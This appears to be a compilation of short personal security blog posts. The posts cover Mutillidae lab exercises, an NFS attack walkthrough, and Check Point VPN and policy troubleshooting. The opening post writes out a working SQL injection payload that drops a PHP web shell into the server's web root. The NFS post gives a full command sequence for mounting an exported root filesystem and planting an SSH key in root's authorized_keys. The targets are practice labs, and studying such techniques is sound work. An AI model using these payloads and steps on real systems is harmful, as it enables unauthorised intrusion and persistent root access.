Mutillidae: Inject Web Shell Backdoor via SQL Injection

Using somewhat advanced SQL injection, we inject a new PHP file into the web root of the PHP server using and SQL injection vulnearbility in Mutillidae. The injection is a command shell written in PHP that give root access to the operating system.


A harmless example;


username=' union select null,1,null,null,null INTO DUMPFILE 'test.txt' -- '&password=&login-php-submit-button=Login

The backdoor;

' union select null,null,null,'<form action="" method="post" enctype="application/x-www-form-urlencoded"><table style="margin-left:auto; margin-right:auto;"><tr><td colspan="2">Please enter system command</td></tr><tr><td></td></tr><tr><td class="label">Command</td><td><input type="text" name="pCommand" size="50"></td></tr><tr><td></td></tr><tr><td colspan="2" style="text-align:center;"><input type="submit" value="Execute Command" /></td></tr></table></form><?php echo "<pre>";echo shell_exec($_REQUEST["pCommand"]);echo "</pre>"; ?>' INTO DUMPFILE '..\\..\\htdocs\\mutillidae\\backdoor.php' --

Hurray!

SQL Injection using SQLMap to Dump Some Cool Stuff (mutillidae)

After you get the HTTP request from burp suite to a text file, then we can use that file in SQLMap to begin injection.

Brute-force Authentication - Burp Suite

Here is the basic methods to brute force a web app. I found it very clean and tidy. Nice work.

Checkpoint Remote Access 'connection failed' Issue with Windows 8 or 8.1

I have seen this issue in couple of clients, they were using windows 8 and windows 8.1.

They tried to connect with Remote Access Client E75.30, but 'connection failed' popup displayed straight away. There are couple of SKs about duplicate IP addresses etc.

Simply, Remote Access Clients E80.42 msi file (MSI) is the way to go.

Details: File Name: CP_EPS_E80.42_RAC_Windows.msi Product: Endpoint Security VPN Version: R80 Minor Version: E80.42 OS: Windows MD5: 054fda63c4fcc84eeb4e465235ee5254 Size: 15.90 MB Date Published: 12/10/2013

It worked a treat.

Mutillidae: Basics of Web Request and Response Interception with Burp-Suite

There is something more here;

• It explains the method to bypass the java script validation built on the client side (browser). 
• After transferring normal strings, change the strings to SQL injection on-the-fly with Burp or another proxy utility.

Fun stuff! :)

Unix Fundamentals - NFS Service / Attack Illustration

look at the Network File System (NFS). NFS can be identified by probing port 2049 directly or asking the portmapper for a list of services.The example below using rpcinfo to identify NFS and showmount -e to determine that the "/" share (the root of the file system) is being exported. You will need the rpcbind and nfs-common Ubuntu packages to follow along.

root@ubuntu:~# rpcinfo -p 192.168.99.131

.
.
.

    100003    2   tcp   2049  nfs

    100003    3   tcp   2049  nfs

    100003    4   tcp   2049  nfs

.
.
.

root@ubuntu:~# showmount -e 192.168.99.131



Getting access to a system with a writeable filesystem like this is trivial. To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file: 


root@ubuntu:~# ssh-keygen
root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/

mount.nf: rpc.statd is not running but is required for remote locking.
mount.nfs: Either use '-o nolock' to keep locks local, or start statd. 
mount.nfs: an incorrect mount option was specified.


This is the message you get when you try to mount the NFS export. 

restarting nfs-common is not enough

• service nfs-common restart

restarting rpc will resolve the issue.

• service rpcbind restart

root@ubuntu:~# cat /root/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys 


ssh root@192.168.99.131 

//with the password generated on the ssh-keygen (then add our pub file -key- into the account's authorized_keys file on the remote machine), you can access to the remote system. yay.

Debug Policy Install

Debugging a manual policy pull from the enforcement point, and push from the SmartCenter, like so:

fw -d fetch <SmartCenter server IP address>

• fw -d fetchlocal -d $FWDIR/state/__tmp/FW1 &> <output file>

cpd.elg files from $CPDIR/log from the firewall



Push from the Smart Center to enforcement point;

fwm -d load policy_name gateway_name 2> <filename>.txt

Policy installation fails with "ERROR: function or table < pgm_len_block_code > undefined" and ".../conf/updates.def"

SYMPTOMS

After upgrading a Security Management to R76, policy installation in SmartDashboard fails with the following errors: "/opt/.../conf/updates.def", line N: ERROR: syntax error "/opt/.../conf/<Policy_Name>.pf", line N: ERROR: function or table < pgm_len_block_code > undefined "/opt/.../conf/<Policy_Name>.pf", line N: ERROR: syntax error Compilation failed. Operation ended with errors. Debug of FWM daemon (per sk86186) shows the same 'ERROR: syntax error'. Hotfix for IPv6 flavor issue from sk92933 does not help.

CAUSE

IPS definitions are not up-to-date, or do not exist. SOLUTION Perform IPS Update in SmartDashboard. The issue occurred on R77 env. as well.
